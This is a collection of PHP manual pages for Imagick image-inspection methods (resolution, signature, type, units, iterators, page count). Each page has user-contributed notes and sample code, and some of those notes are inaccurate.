Imagick::getImageResolution — 获取图像的x,y轴分辨率

说明

public Imagick::getImageResolution(): array

获取图像的x,y轴分辨率

参数

此函数没有参数。

返回值

返回分辨率值的数组

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

christian at cvj dot se 20-Feb-2014 11:48
For me getImageResolution() always returns X and Y resolution in pixels per centimeter, no matter if I set it with setImageUnits() or not.

So an easy way to convert the result from pixels per centimeter to pixels per inch is to do this:

<?php
$resource = new Imagick($path);
$imageResolution = $resource->getImageResolution();

if (!empty($imageResolution['y'])) {
$imageResolution['y'] =
                            round($imageResolution['y'] * 2.54, 2);
}

if (!empty($imageResolution['x'])) {
$imageResolution['x'] =
                            round($imageResolution['x'] * 2.54, 2);
}

?>
Alex 27-Sep-2013 10:00
Here is simple code snippet to get image DPI:
<?php
$img = new imagick( 'file.jpg' );
print_r($img->getImageResolution()); // Array ( [x] => 72 [y] => 72 )

?>
Simon Epskamp 20-Sep-2013 08:30
Please note that this method seems to return the image density, or DPI, not it's output resolution. If you want the output resolution, please refer to Imagick::getImageGeometry: http://www.php.net/manual/en/imagick.getimagegeometry.php

See http://www.imagemagick.org/Usage/basics/#density for more infomation on the difference.
Shawn Pyle 18-Apr-2011 12:53
As of the following versions, the results of this function returns the x and y resolution as floats.

desktop:~$ convert --version
Version: ImageMagick 6.6.9-1 2011-04-14 Q8 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2011 ImageMagick Studio LLC
Features: OpenMP OpenCL

desktop:~$ pecl list
Installed packages, channel pecl.php.net:
==========================
Package Version State
imagick 3.0.1   stable

desktop:~$ php --version
PHP 5.3.5 (cli) (built: Mar  1 2011 12:57:53)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    with Xdebug v2.1.0, Copyright (c) 2002-2010, by Derick Rethans
perching_eagle at yahoo dot com 04-Oct-2007 06:14
//location of image: c:/htdocs/rose.jpg
$path="c:/htdocs/";
$image=new Imagick($path."rose.jpg");
$array=$image->getImageResolution();
print_r($array);

result:
Array
(
    [x]=>75
    [y]=>75
)


Returns all image sequences as a blob

  • ? Imagick::getImageResolution
  • Imagick::getImageScene ?
  • PHP Manual
  • Imagick
  • Returns all image sequences as a blob

Imagick::getImagesBlob

(PECL imagick 2, PECL imagick 3)

Imagick::getImagesBlob — Returns all image sequences as a blob

说明

public Imagick::getImagesBlob(): string

Implements direct to memory image formats. It returns all image sequences as a string. The format of the image determines the format of the returned blob (GIF, JPEG, PNG, etc.). To return a different image format, use Imagick::setImageFormat().

参数

此函数没有参数。

返回值

Returns a string containing the images. On failure, throws ImagickException.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image scene

  • ? Imagick::getImagesBlob
  • Imagick::getImageSignature ?
  • PHP Manual
  • Imagick
  • Gets the image scene

Imagick::getImageScene

(PECL imagick 2, PECL imagick 3)

Imagick::getImageScene — Gets the image scene

说明

public Imagick::getImageScene(): int

Gets the image scene.

参数

此函数没有参数。

返回值

Returns the image scene.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Generates an SHA-256 message digest

  • ? Imagick::getImageScene
  • Imagick::getImageSize ?
  • PHP Manual
  • Imagick
  • Generates an SHA-256 message digest

Imagick::getImageSignature

(PECL imagick 2, PECL imagick 3)

Imagick::getImageSignature — Generates an SHA-256 message digest

说明

public Imagick::getImageSignature(): string

Generates an SHA-256 message digest for the image pixel stream.

参数

此函数没有参数。

返回值

Returns a string containing the SHA-256 hash of the file.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

barrerasalom at gmail dot com 15-Oct-2013 02:15
Please take that note tha different versions of ImageMagick could create different signatures, even when working with the same image.
vojtech at kral dot hk 27-Mar-2013 12:39
Well the SHA-2 digest returned by this function IS different from what you get when you hash the file, because this funtions hashesh the pixels themselves.

This is very useful when you need to identify identical images, because if you just hash the files, you may get different hashes even if the image is the same pixel by pixel because of differences in metadata or different format (ie PNG vs BMP) or perhaps stray bytes at the end of file etc...

There is no point in posting code that hashes files, that is completely irrelevant here.

Also, I doubt you really need to pick a different hashing algo, SHA-2 should be perfectly fine for this job.
holdoffhunger at gmail dot com 26-Jun-2012 11:51
The getImageSignature function for the ImageMagick package in PHP returns only the SHA-1 hash value for an image.  There are not any other algorithms available for it within the ImageMagick package, but fortunately, this is PHP and you have a wide array of hashing algorithms to use on any image file.  The function hash_algos() will return an array of hashing algorithms available in PHP and the function hash_file() will take three parameters (one for the algorithm to use, one for the filename, and an optional variable for binary output).  Instead of being limited to the SHA-1 algorithm of the getImageSignature function, you could use SHA-256, SHA-384, SHA-512, Whirlpool, HAVAL, Salsa, Gost, Adler32, CRC32, or MD5, among others and variations of these.

However, the SHA-1 result of the hash_file() function performed on a file does not return the same result as the SHA-1 of the getImageSignature() function.  This leads me to believe that the SHA-1 of the getImageSignature() might be performed on the Imagick object itself, instead of the file, whereas the hash_file() function is clearly performed on the file itself.  That's just a guess, though.

Some sample code for the alternate hashing algorithm, with every algorithm performed on the image file :

<?php

            // Author: holdoffhunger@gmail.com

        // Set File for Hashing Function
        // ---------------------------------------------------

    $filename_with_folder_for_hashing = "image_workshop/test_file.bmp";

        // Acquire Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    $php_dynamic_hash_algorithms = hash_algos();

        // Count Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    $number_of_dynamic_hash_algorithms = count($php_dynamic_hash_algorithms);

        // Parse Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    for($i = 0; $i < $number_of_dynamic_hash_algorithms; $i++)
    {
            // Get Current Hashing Algorithm
            // ---------------------------------------------------

        $current_hashing_algorithm = $php_dynamic_hash_algorithms[$i];

            // Perform Hashing on File
            // ---------------------------------------------------

        $current_hashing_algorithm_hex_result = hash_file($current_hashing_algorithm, $filename_with_folder_for_hashing, FALSE);

            // Print Hashed Results
            // ---------------------------------------------------

        print("$current_hashing_algorithm Algorithm ::: $current_hashing_algorithm_hex_result");
        print("<br><br>");
    }

?>

    Example Results:
    ...........................

md2 Algorithm ::: 03205df9c6717d74f1f003c66f58e98a

md4 Algorithm ::: b2a204a2e5c3968d2abd5dc372fbee10

md5 Algorithm ::: b9d92a61714b221d24c7730d4764ca82

sha1 Algorithm ::: 8db4c92346c26568b13ea43fbcf514e37942a41a

(and so on for 34 more algorithms)...
holdoffhunger at gmail dot com 20-May-2012 10:30
The getImageSignature function returns the SHA-256 hash value, which is 256 bits (or 32 bytes) in length.  SHA-256 is part of the SHA-2 set of cryptographic hash functions designed by the NSA, which also includes SHA-224, SHA-384, and SHA-512.  According to Wikipedia, there are some security flaws in it similar to the set of SHA-1 hash functions, which should be fixed with SHA-3, eventually.  Unlike MD5 or the SHA-1 set of cryptographic functions, SHA-2 has had no collisions discovered yet (a collision is an incident where two different pieces of data result in the same hash value from the hashing function).  For the time being, it seems to be the most efficient method for creating a small (32-byte), uniquely-identifiable, generally-secure value for either a file or a piece of data.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image SHA-256 Signature / Hash Value
        // ---------------------------------------------

    $imagick_type_signature = $imagick_type->getImageSignature();

        // Print Image Signature / Hash Value
        // ---------------------------------------------

    print($imagick_type_signature);

?>

Results of this done on a standard BMP image :

cb2f387a7b23d11340ad1f5ba9c765125ea6b2d50a0d25412abe1ce568adac68


Returns the image length in bytes

  • ? Imagick::getImageSignature
  • Imagick::getImageTicksPerSecond ?
  • PHP Manual
  • Imagick
  • Returns the image length in bytes

Imagick::getImageSize

(PECL imagick 2, PECL imagick 3)

Imagick::getImageSize — Returns the image length in bytes

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::getImageSize(): int

Returns the image length in bytes. Deprecated in favour of Imagick::getImageLength()

参数

此函数没有参数。

返回值

Returns an int containing the current image size.

User Contributed Notes

murphy(at)murphyslantech(dot)de 30-Nov-2010 07:21
If you get an error or warning (when using strict settings for PHP), telling you, that this function should not be used anymore try getImageLength() instead ...
Ricardo Cordts Monteiro 12-Feb-2010 04:11
Practical use to get the dimensions of the image:

<?php
$image = new Imagick($image_src);
$d = $image->getImageGeometry();
$w = $d['width'];
$h = $d['height'];
?>
nikolaus 17-Oct-2009 12:52
If you're planning to stream imagick images via http, pay attention that this function may return the uncompressed image size, so it's not directly suitable for setting the content-length http header.
benford at bluhelix dot com 22-Jun-2009 03:12
Try Imagick::getSize, Imagick::getImageWidth, or Imagick::getImageHeight if you are looking to get dimensions in pixels (rows, columns) of the current image.
perching_eagle at yahoo dot com 04-Oct-2007 06:37
/* get the size of the image in bytes */
$image=new Imagick("c:/htdocs/rose.jpg");
$size=$image->getImageSize();
print "the size of the picture is ".$size." bytes";

result

the size of the picture is 3461 bytes


Gets the image ticks-per-second

  • ? Imagick::getImageSize
  • Imagick::getImageTotalInkDensity ?
  • PHP Manual
  • Imagick
  • Gets the image ticks-per-second

Imagick::getImageTicksPerSecond

(PECL imagick 2, PECL imagick 3)

Imagick::getImageTicksPerSecond — Gets the image ticks-per-second

说明

public Imagick::getImageTicksPerSecond(): int

Gets the image ticks-per-second.

参数

此函数没有参数。

返回值

Returns the image ticks-per-second.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image total ink density

  • ? Imagick::getImageTicksPerSecond
  • Imagick::getImageType ?
  • PHP Manual
  • Imagick
  • Gets the image total ink density

Imagick::getImageTotalInkDensity

(PECL imagick 2, PECL imagick 3)

Imagick::getImageTotalInkDensity — Gets the image total ink density

说明

public Imagick::getImageTotalInkDensity(): float

Gets the image total ink density.

参数

此函数没有参数。

返回值

Returns the image total ink density of the image. 错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the potential image type

  • ? Imagick::getImageTotalInkDensity
  • Imagick::getImageUnits ?
  • PHP Manual
  • Imagick
  • Gets the potential image type

Imagick::getImageType

(PECL imagick 2, PECL imagick 3)

Imagick::getImageType — Gets the potential image type

说明

public Imagick::getImageType(): int

Gets the potential image type.

参数

此函数没有参数。

返回值

Returns the potential image type.

  • imagick::IMGTYPE_UNDEFINED
  • imagick::IMGTYPE_BILEVEL
  • imagick::IMGTYPE_GRAYSCALE
  • imagick::IMGTYPE_GRAYSCALEMATTE
  • imagick::IMGTYPE_PALETTE
  • imagick::IMGTYPE_PALETTEMATTE
  • imagick::IMGTYPE_TRUECOLOR
  • imagick::IMGTYPE_TRUECOLORMATTE
  • imagick::IMGTYPE_COLORSEPARATION
  • imagick::IMGTYPE_COLORSEPARATIONMATTE
  • imagick::IMGTYPE_OPTIMIZE

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

holdoffhunger at gmail dot com 21-May-2012 11:18
This function will return an integer, with that value being equal to the evaluated value of the IMGType Constants as defined by the ImageMagick class.  When accessing them, they look like "imagick::IMGTYPE_PALETTE", but with "_VALUE" values of: undefined, bilevel, grayscale, grayscalematte, palette, palettematte, truecolor, truecolormatte, colorseparation, colorseparationmatte, and optimize.  If you were to print out these values, you would have '0' for undefined, '1' for bilevel, '2' for grayscale, and so on.

For a BMP picture drawn in paint, I got back the value # 4 - Palette.  For a BMP or JPEG photograph of the ocean or jungle, I got back the value # 6 - Truecolor.  For an animated GIF file, I got back the value # 5 - Palette Matte.  For a black-and-white JPEG drawing, I got back the value # 2 - Grayscale.  These are the most common results I have gotten back with this function.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Type Value
        // ---------------------------------------------

    $image_type = $imagick_type->getImageType();

        // Interpret Image Type Value
        // ---------------------------------------------

    switch($image_type)
    {
        case imagick::IMGTYPE_UNDEFINED:
            $image_type_title = "Undefined";
            break;

        case imagick::IMGTYPE_BILEVEL:
            $image_type_title = "Bilevel";
            break;

        case imagick::IMGTYPE_GRAYSCALE:
            $image_type_title = "Grayscale";
            break;

        case imagick::IMGTYPE_GRAYSCALEMATTE:
            $image_type_title = "Grayscale Matte";
            break;

        case imagick::IMGTYPE_PALETTE:
            $image_type_title = "Palette";
            break;

        case imagick::IMGTYPE_PALETTEMATTE:
            $image_type_title = "Palette Matte";
            break;

        case imagick::IMGTYPE_TRUECOLOR:
            $image_type_title = "Truecolor";
            break;

        case imagick::IMGTYPE_TRUECOLORMATTE:
            $image_type_title = "Truecolor Matte";
            break;

        case imagick::IMGTYPE_COLORSEPARATION:
            $image_type_title = "Color Separation";
            break;

        case imagick::IMGTYPE_COLORSEPARATIONMATTE:
            $image_type_title = "Color Separation Matte";
            break;

        case imagick::IMGTYPE_OPTIMIZE:
            $image_type_title = "Optimize";
            break;
    }

        // Print Image Type Value
        // ---------------------------------------------

    print("# $image_type - $image_type_title");

?>
lukeydeluxe at gmail dot com 15-Jan-2009 04:13
Remember, the result, if successful, is an Array, wich means you should call for example "$var[format]" if you want to know what format the file uses.


获取图像的分辨率单位

  • ? Imagick::getImageType
  • Imagick::getImageVirtualPixelMethod ?
  • PHP Manual
  • Imagick
  • 获取图像的分辨率单位

Imagick::getImageUnits

(PECL imagick 2, PECL imagick 3)

Imagick::getImageUnits — 获取图像的分辨率单位

说明

public Imagick::getImageUnits(): int

获取图像的分辨率单位。

参数

此函数没有参数。

返回值

返回分辨率的单位

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

Victor 25-Apr-2018 09:06
Here's an example of how to interpret and use ImageResolution and ImageUnits:

$i = new Imagick('some_image_file.png');

$r = $i->getImageResolution();
$u = $i->getImageUnits();
if ($u == Imagick::RESOLUTION_PIXELSPERCENTIMETER) {
   $r[x] = (int)round($r[x] * 2.54);
   $r[y] = (int)round($r[y] * 2.54);
   $i->setImageUnits(Imagick::RESOLUTION_PIXELSPERINCH);
   $i->setImageResolution($r[x], $r[y]);

  //note that the number type is double again
   $r = $i->getImageResolution();
}
holdoffhunger at gmail dot com 22-Jun-2012 02:15
By using the PHP function for getImageUnits, you get back an integer representing the evaluation of a predefined, PATHUNITS constant of the ImageMagick package.  You only have four values for this.  They look like "imagick::PATHUNITS_UNDEFINED", with _VALUE value's being: undefined, userspace, userspaceonuse, and objectboundingbox.  Undefined, if printed, is a 0, userspace is a 1, userspaceonuse is a 2, and objectboundingbox is a 3.

What's the use of knowing the Clipping Path Unit default for an image?  According to the Wikipedia article for "Clipping Path", a Clipping Path is "a closed vector path, or shape, used to cut out a 2D image in image editing software. Anything inside the path will be included after the clipping path is applied; anything outside the path will be omitted from the output."

The official ImageMagick documentation provides only two valid values coming into or out of the clipping path unit value, one being userSpaceOnUse and the other being ObjectBoundingBox.  The only definitions provided: "If userSpaceOnUse, the contents of the clipping path represent values in the current user coordinate system in place at the time when the clipping path is referenced. if objectBoundingBox, then the user coordinate system for the contents of the clipping path is established using the bounding box of the object to which the clipping path is applied. The default is userSpaceOnUse." http://www.imagemagick.org/RMagick/doc/rvgclip.html

In personal experimentation, all JPEG and GIF files have provided '0' for "Undefined" on this function, and all BMP and PNG files have provided '2' for "UserSpaceOnUse" on this function.

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Units
        // ---------------------------------------------

    $image_page = $imagick_type->getImageUnits();

        // Interpret Units Value
        // ---------------------------------------------

    switch($image_units)
    {
        case imagick::PATHUNITS_UNDEFINED:
            $image_units_printable = "Undefined";
            break;

        case imagick::PATHUNITS_USERSPACE:
            $image_units_printable = "User Space";
            break;

        case imagick::PATHUNITS_USERSPACEONUSE:
            $image_units_printable = "User Space On Use";
            break;

        case imagick::PATHUNITS_OBJECTBOUNDINGBOX:
            $image_units_printable = "Object Bounding Box";
            break;
    }

        // Print Units Value
        // ---------------------------------------------

    print(" Image Units: # $image_units -- $image_units_printable .");

?>


Returns the virtual pixel method

  • ? Imagick::getImageUnits
  • Imagick::getImageWhitePoint ?
  • PHP Manual
  • Imagick
  • Returns the virtual pixel method

Imagick::getImageVirtualPixelMethod

(PECL imagick 2, PECL imagick 3)

Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method

说明

public Imagick::getImageVirtualPixelMethod(): int

Returns the virtual pixel method for the specified image.

参数

此函数没有参数。

返回值

Returns the virtual pixel method on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticity white point

  • ? Imagick::getImageVirtualPixelMethod
  • Imagick::getImageWidth ?
  • PHP Manual
  • Imagick
  • Returns the chromaticity white point

Imagick::getImageWhitePoint

(PECL imagick 2, PECL imagick 3)

Imagick::getImageWhitePoint — Returns the chromaticity white point

说明

public Imagick::getImageWhitePoint(): array

Returns the chromaticity white point as an associative array with the keys "x" and "y".

参数

此函数没有参数。

返回值

Returns the chromaticity white point as an associative array with the keys "x" and "y".

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image width

  • ? Imagick::getImageWhitePoint
  • Imagick::getInterlaceScheme ?
  • PHP Manual
  • Imagick
  • Returns the image width

Imagick::getImageWidth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageWidth — Returns the image width

说明

public Imagick::getImageWidth(): int

Returns the image width.

参数

此函数没有参数。

返回值

Returns the image width.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

nospam dot karst at onlinq dot nl 28-Jul-2015 07:19
"bob at majdak dot net" mentioned that this function does not return the resized image size.

I use this function in production code, and it correctly returns the width for an image resized with `resizeImage()`.
I have not tested it with `scaleImage()`.
bob at majdak dot net 16-Apr-2015 08:08
I am noticing that this is returning the original size of the image when it was opened, and not the size it may have been resized to with scaleImage or resizeImage.
terry 16-Mar-2014 12:16
<?php

$image = new Imagick("picture.jpg");
$width = $image->getImageWidth();
print "the image width is " . $width . " pixels";

?>

Will print:
the image width is 200 pixels


Gets the object interlace scheme

  • ? Imagick::getImageWidth
  • Imagick::getIteratorIndex ?
  • PHP Manual
  • Imagick
  • Gets the object interlace scheme

Imagick::getInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::getInterlaceScheme — Gets the object interlace scheme

说明

public Imagick::getInterlaceScheme(): int

Gets the object interlace scheme.

参数

此函数没有参数。

返回值

Gets the wand interlace scheme.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the index of the current active image

  • ? Imagick::getInterlaceScheme
  • Imagick::getNumberImages ?
  • PHP Manual
  • Imagick
  • Gets the index of the current active image

Imagick::getIteratorIndex

(PECL imagick 2, PECL imagick 3)

Imagick::getIteratorIndex — Gets the index of the current active image

说明

public Imagick::getIteratorIndex(): int

Returns the index of the current active image within the Imagick object. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

此函数没有参数。

返回值

Returns an integer containing the index of the image in the stack.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::getIteratorIndex():

Create images, set and get the iterator index

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

参见

  • Imagick::setIteratorIndex() - Set the iterator position
  • Imagick::getImageIndex() - Gets the index of the current active image
  • Imagick::setImageIndex() - Set the iterator position

User Contributed Notes

Michael O&#39;Connell 27-Aug-2015 02:36
This will also retrieve which page number of a multipage document (i.e. PDF, PS) file the Imagick instance is currently on.  By default for a PDF it seems to be set to the last page.
holdoffhunger at gmail dot com 22-May-2012 11:42
The getIteratorIndex function of the ImageMagick function works on any type of image, but it is built for measuring the number of frames in an animated .gif file.  For non-animated image files, like regular .bmp or .jpg files, this function will always return the number '0', meaning that there is only one frame.  Counting starts from zero with this function, so a .gif file with five different frames will return a value of '4' on this.  Highly repetitive, but psychedelic animated GIF's are often anywhere between 10 and 30 frames, but a .gif file that is nothing more than video footage converted to a datafile may have hundreds of frames.

According to Wikipedia (in the article for "Graphics Interchange Format"), an animated GIf image is a uses the GIF standard "which allows various images (frames) in the file to be painted with time delays."  This function won't get you the amount of time that delays between each frame, but it will give you the number of unique frames in a .gif file.  This will tell you how complicated or simple the animation may be.

Is the 'getIteratorIndex' function not working for you?  Try the 'getImageIndex' function, which produces the same exact result.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Type Value
        // ---------------------------------------------

    $image_iterator_index = $imagick_type->getIteratorIndex();

        // Print Image Type Value
        // ---------------------------------------------

    print("Number of Unique Frames in the .GIF File: $image_iterator_index");

?>


Returns the number of images in the object

  • ? Imagick::getIteratorIndex
  • Imagick::getOption ?
  • PHP Manual
  • Imagick
  • Returns the number of images in the object

Imagick::getNumberImages

(PECL imagick 2, PECL imagick 3)

Imagick::getNumberImages — Returns the number of images in the object

说明

public Imagick::getNumberImages(): int

Returns the number of images associated with Imagick object.

参数

此函数没有参数。

返回值

Returns the number of images associated with Imagick object.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 07:26
For PDFs this function indicates the number of pages on the PDF, NOT images that might be embedded within the PDF.

<?php

$document = new Imagick('2_pager.pdf');

var_dump($document->getNumberImages()); //returns 2

$document = new Imagick('1_pager.pdf');

var_dump($document->getNumberImages()); //returns 1

?>

From my research it is not possible to obtain the images embedded within a PDF by using the PHP Imagick library.
gzabriskie at yahoo dot com 07-Apr-2009 05:21
<?php
/* Create the object */
$image = new Imagick('YourImageLocation.tif');
$count = $image->getNumberImages();

echo "<h3 style=\"font: bold 12pt Arial\">Total Number of Images Extracted ".
     "from the TIF : ".$image->getNumberImages()."</h3>";

for ($x = 1;$x <= $image->getNumberImages(); $x++) {
  $image->previousImage();
  $image->thumbnailImage( 400, null );
  $image->writeImage('img'.$count.'.png');
  $count--;
}
?>

<html>
  <head>
    <title>Extracting Images Form TIFF</title>
  </head>
  <body>
    <table cellspacing="10" style="background: #ddd"><tr>
      <?php
      for ($x = 1;$x <= $image->getNumberImages(); $x++) {
        echo "<td><img src=\"img$x.png\"<br /><p style=\"font: bold 12pt Arial;".
             "text-align: center\">image $x (png)</p></td>";
      }
      ?>
    </tr></table>
  </body>
</html>


Returns a value associated with the specified key

  • ? Imagick::getNumberImages
  • Imagick::getPackageName ?
  • PHP Manual
  • Imagick
  • Returns a value associated with the specified key

Imagick::getOption

(PECL imagick 2, PECL imagick 3)

Imagick::getOption — Returns a value associated with the specified key

说明

public Imagick::getOption(string $key): string

Returns a value associated within the object for the specified key.

参数

key

The name of the option

返回值

Returns a value associated with a wand and the specified key.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick package name

  • ? Imagick::getOption
  • Imagick::getPage ?
  • PHP Manual
  • Imagick
  • Returns the ImageMagick package name

Imagick::getPackageName

(PECL imagick 2, PECL imagick 3)

Imagick::getPackageName — Returns the ImageMagick package name

说明

public static Imagick::getPackageName(): string

Returns the ImageMagick package name.

参数

此函数没有参数。

返回值

Returns the ImageMagick package name as a string.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the page geometry

  • ? Imagick::getPackageName
  • Imagick::getPixelIterator ?
  • PHP Manual
  • Imagick
  • Returns the page geometry

Imagick::getPage

(PECL imagick 2, PECL imagick 3)

Imagick::getPage — Returns the page geometry

说明

public Imagick::getPage(): array

Returns the page geometry associated with the Imagick object in an associative array with the keys "width", "height", "x", and "y".

参数

此函数没有参数。

返回值

Returns the page geometry associated with the Imagick object in an associative array with the keys "width", "height", "x", and "y", throwing ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns a MagickPixelIterator

  • ? Imagick::getPage
  • Imagick::getPixelRegionIterator ?
  • PHP Manual
  • Imagick
  • Returns a MagickPixelIterator

Imagick::getPixelIterator

(PECL imagick 2, PECL imagick 3)

Imagick::getPixelIterator — Returns a MagickPixelIterator

说明

public Imagick::getPixelIterator(): ImagickPixelIterator

Returns a MagickPixelIterator.

参数

此函数没有参数。

返回值

Returns an ImagickPixelIterator on success.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::getPixelIterator()

<?php
function getPixelIterator($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imageIterator = $imagick->getPixelIterator();

foreach ($imageIterator as $row => $pixels) { /* Loop through pixel rows */
foreach ($pixels as $column => $pixel) { /* Loop through the pixels in the row (columns) */
/** @var $pixel \ImagickPixel */
if ($column % 2) {
$pixel->setColor("rgba(0, 0, 0, 0)"); /* Paint every second pixel black*/
}
}
$imageIterator->syncIterator(); /* Sync the iterator, this is important to do on each iteration */
}

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

Sebastian Herold 30-Jun-2008 01:06
For me it was very helpful to read a article at Mikko's blog. He showed that the PixelIterator is not read-only, if you sync it regularly:

<?php
      /* Create new object with the image */
      $im = new Imagick( "strawberry.png" );

      /* Get iterator */
      $it = $im->getPixelIterator();

      /* Loop trough pixel rows */
      foreach( $it as $row => $pixels )
      {
          /* For every second row */
          if ( $row % 2 )
          {
              /* Loop trough the pixels in the row (columns) */
              foreach ( $pixels as $column => $pixel )
              {
                      /* Paint every second pixel black*/
                      if ( $column % 2 )
                      {
                              $pixel->setColor( "black" );
                      }
              }

          }

          /* Sync the iterator, this is important to do on each iteration */
          $it->syncIterator();
      }

      /* Display the image */
      header( "Content-Type: image/png" );
      echo $im;

?>


Get an ImagickPixelIterator for an image section

  • ? Imagick::getPixelIterator
  • Imagick::getPointSize ?
  • PHP Manual
  • Imagick
  • Get an ImagickPixelIterator for an image section

Imagick::getPixelRegionIterator

(PECL imagick 2, PECL imagick 3)

Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section

说明

public Imagick::getPixelRegionIterator(
int $x,
int $y,
int $columns,
int $rows
): ImagickPixelIterator

Get an ImagickPixelIterator for an image section.

参数

x

The x-coordinate of the region.

y

The y-coordinate of the region.

columns

The width of the region.

rows

The height of the region.

返回值

Returns an ImagickPixelIterator for an image section.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::getPixelRegionIterator() example

Iterate over the pixels in the top left of the image, changing them to be black.

<?php
$im = new Imagick(realpath("./testImage.png"));
$areaIterator = $im->getPixelRegionIterator(0, 0, 10, 10);

foreach ($areaIterator as $rowIterator) {
foreach ($rowIterator as $pixel) {
// Paint every pixel black
$pixel->setColor("rgba(0, 0, 0, 0)");
}
$areaIterator->syncIterator();
}
$im->writeImage("./output.png");
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets point size

  • ? Imagick::getPixelRegionIterator
  • Imagick::getQuantum ?
  • PHP Manual
  • Imagick
  • Gets point size

Imagick::getPointSize

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::getPointSize — Gets point size

说明

public Imagick::getPointSize(): float

Returns the objects point size property. 此方法在Imagick基于ImageMagick 6.3.7以上版本编译时可用。

参数

此函数没有参数。

返回值

Returns a float containing the point size.

参见

  • Imagick::setPointSize() - Sets point size

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick quantum range

  • ? Imagick::getPointSize
  • Imagick::getQuantumDepth ?
  • PHP Manual
  • Imagick
  • Returns the ImageMagick quantum range

Imagick::getQuantum

(PECL imagick 3 >= 3.3.0)

Imagick::getQuantum — Returns the ImageMagick quantum range

说明

public static Imagick::getQuantum(): int

Returns the ImageMagick quantum range. If HDRI was enabled then the type is a float, if not it is an int.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets the quantum depth

  • ? Imagick::getQuantum
  • Imagick::getQuantumRange ?
  • PHP Manual
  • Imagick
  • Gets the quantum depth

Imagick::getQuantumDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getQuantumDepth — Gets the quantum depth

说明

public static Imagick::getQuantumDepth(): array

Returns the Imagick quantum depth.

参数

此函数没有参数。

返回值

Returns an array with "quantumDepthLong" and "quantumDepthString" members.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

holdoffhunger at gmail dot com 12-May-2012 10:10
The getQuantumDepth works much like the other "Depth" functions and much like the getQuantumRange function.  Like the Depth functions, it returns a value indicating the number of bits to store the unique color values -- 16-bit = 2^16 unique colors, which is 65,535 (counting starts at '0' in binary, as opposed to '1' in decimal).  Like the getQuantumRange function, it returns an array with two values, one being a long integer ('quantumDepthLong') and the other being a string ('quantumDepthLong').  The only difference, besides the variable types, is that the string version has a 'Q' prefixed to it.

Here's some sample code and the results, given a color, BMP file photograph that is 600x450 pixels...

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

